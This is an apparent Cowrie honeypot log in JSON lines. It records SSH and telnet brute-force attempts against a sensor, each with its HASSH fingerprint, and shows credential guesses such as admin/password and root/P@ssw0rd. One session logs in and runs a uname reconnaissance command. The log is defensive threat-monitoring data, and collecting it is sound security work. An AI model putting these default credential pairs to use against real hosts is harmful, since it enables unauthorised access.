{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:04.832350Z","src_ip":"192.109.200.78","session":"6b354b075a2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43356,"dst_ip":"10.17.0.5","dst_port":22,"session":"27460024a8e4","protocol":"ssh","message":"New connection: 192.109.200.78:43356 (10.17.0.5:22) [session: 27460024a8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:07.719258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:07.723923Z","src_ip":"192.109.200.78","session":"27460024a8e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:07.807641Z","src_ip":"192.109.200.78","session":"27460024a8e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:08.052737Z","src_ip":"192.109.200.78","session":"27460024a8e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:09.137620Z","src_ip":"192.109.200.78","session":"27460024a8e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50262,"dst_ip":"10.17.0.5","dst_port":22,"session":"988c8a6e134c","protocol":"ssh","message":"New connection: 192.109.200.78:50262 (10.17.0.5:22) [session: 988c8a6e134c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:11.764202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:11.770454Z","src_ip":"192.109.200.78","session":"988c8a6e134c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:11.852353Z","src_ip":"192.109.200.78","session":"988c8a6e134c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:12.307885Z","src_ip":"192.109.200.78","session":"988c8a6e134c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:12.594068Z","src_ip":"192.109.200.78","session":"988c8a6e134c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:12.596770Z","src_ip":"192.109.200.78","session":"988c8a6e134c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:12.682420Z","src_ip":"192.109.200.78","session":"988c8a6e134c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:12.687585Z","src_ip":"192.109.200.78","session":"988c8a6e134c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50284,"dst_ip":"10.17.0.5","dst_port":22,"session":"5232ddab5de8","protocol":"ssh","message":"New connection: 192.109.200.78:50284 (10.17.0.5:22) [session: 5232ddab5de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:16.157617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:16.162433Z","src_ip":"192.109.200.78","session":"5232ddab5de8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:16.244701Z","src_ip":"192.109.200.78","session":"5232ddab5de8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:16.497910Z","src_ip":"192.109.200.78","session":"5232ddab5de8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:17.586945Z","src_ip":"192.109.200.78","session":"5232ddab5de8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":35920,"dst_ip":"159.203.135.109","dst_port":23,"session":"ade3d73975da","protocol":"telnet","message":"New connection: 206.189.71.75:35920 (159.203.135.109:23) [session: ade3d73975da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:19.536553Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":36074,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6744d804d11","protocol":"telnet","message":"New connection: 206.189.71.75:36074 (159.203.135.109:23) [session: e6744d804d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:19.743479Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57202,"dst_ip":"10.17.0.5","dst_port":22,"session":"efbad60f1ae8","protocol":"ssh","message":"New connection: 192.109.200.78:57202 (10.17.0.5:22) [session: efbad60f1ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:20.284295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:20.430863Z","src_ip":"192.109.200.78","session":"efbad60f1ae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:20.435895Z","src_ip":"192.109.200.78","session":"efbad60f1ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:20.789866Z","src_ip":"192.109.200.78","session":"efbad60f1ae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":37242,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fe69d569c73","protocol":"telnet","message":"New connection: 206.189.71.75:37242 (159.203.135.109:23) [session: 7fe69d569c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:21.077684Z"}
{"eventid":"cowrie.session.closed","duration":35.19831967353821,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:21.178370Z","src_ip":"5.42.229.203","session":"bbbd09ab8042","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:21.874200Z","src_ip":"192.109.200.78","session":"efbad60f1ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.0958890914917,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:21.980028Z","src_ip":"5.42.229.203","session":"9d90e0c8f224","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":38008,"dst_ip":"159.203.135.109","dst_port":23,"session":"edd1d49ee2c5","protocol":"telnet","message":"New connection: 206.189.71.75:38008 (159.203.135.109:23) [session: edd1d49ee2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:23.171454Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":39220,"dst_ip":"159.203.135.109","dst_port":23,"session":"33a068993e32","protocol":"telnet","message":"New connection: 206.189.71.75:39220 (159.203.135.109:23) [session: 33a068993e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:23.582803Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51774,"dst_ip":"159.203.135.109","dst_port":22,"session":"d038f48ee929","protocol":"ssh","message":"New connection: 159.203.92.129:51774 (159.203.135.109:22) [session: d038f48ee929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:24.356722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:24.361584Z","src_ip":"159.203.92.129","session":"d038f48ee929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:24.366222Z","src_ip":"159.203.92.129","session":"d038f48ee929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Hello123","message":"login attempt [admin/Hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:24.376763Z","src_ip":"159.203.92.129","session":"d038f48ee929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.53449535369873,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:25.253766Z","src_ip":"206.189.71.75","session":"9fec1c471878","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:25.382867Z","src_ip":"159.203.92.129","session":"d038f48ee929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57224,"dst_ip":"10.17.0.5","dst_port":22,"session":"c014f8d3ed64","protocol":"ssh","message":"New connection: 192.109.200.78:57224 (10.17.0.5:22) [session: c014f8d3ed64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:25.586664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:25.595111Z","src_ip":"192.109.200.78","session":"c014f8d3ed64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:25.968834Z","src_ip":"192.109.200.78","session":"c014f8d3ed64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:26.225602Z","src_ip":"192.109.200.78","session":"c014f8d3ed64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:27.317244Z","src_ip":"192.109.200.78","session":"c014f8d3ed64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58928,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f099e140b1e","protocol":"ssh","message":"New connection: 192.109.200.78:58928 (10.17.0.5:22) [session: 2f099e140b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:28.812423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:28.817021Z","src_ip":"192.109.200.78","session":"2f099e140b1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:28.904835Z","src_ip":"192.109.200.78","session":"2f099e140b1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:29.156998Z","src_ip":"192.109.200.78","session":"2f099e140b1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:30.242115Z","src_ip":"192.109.200.78","session":"2f099e140b1e","protocol":"ssh"}
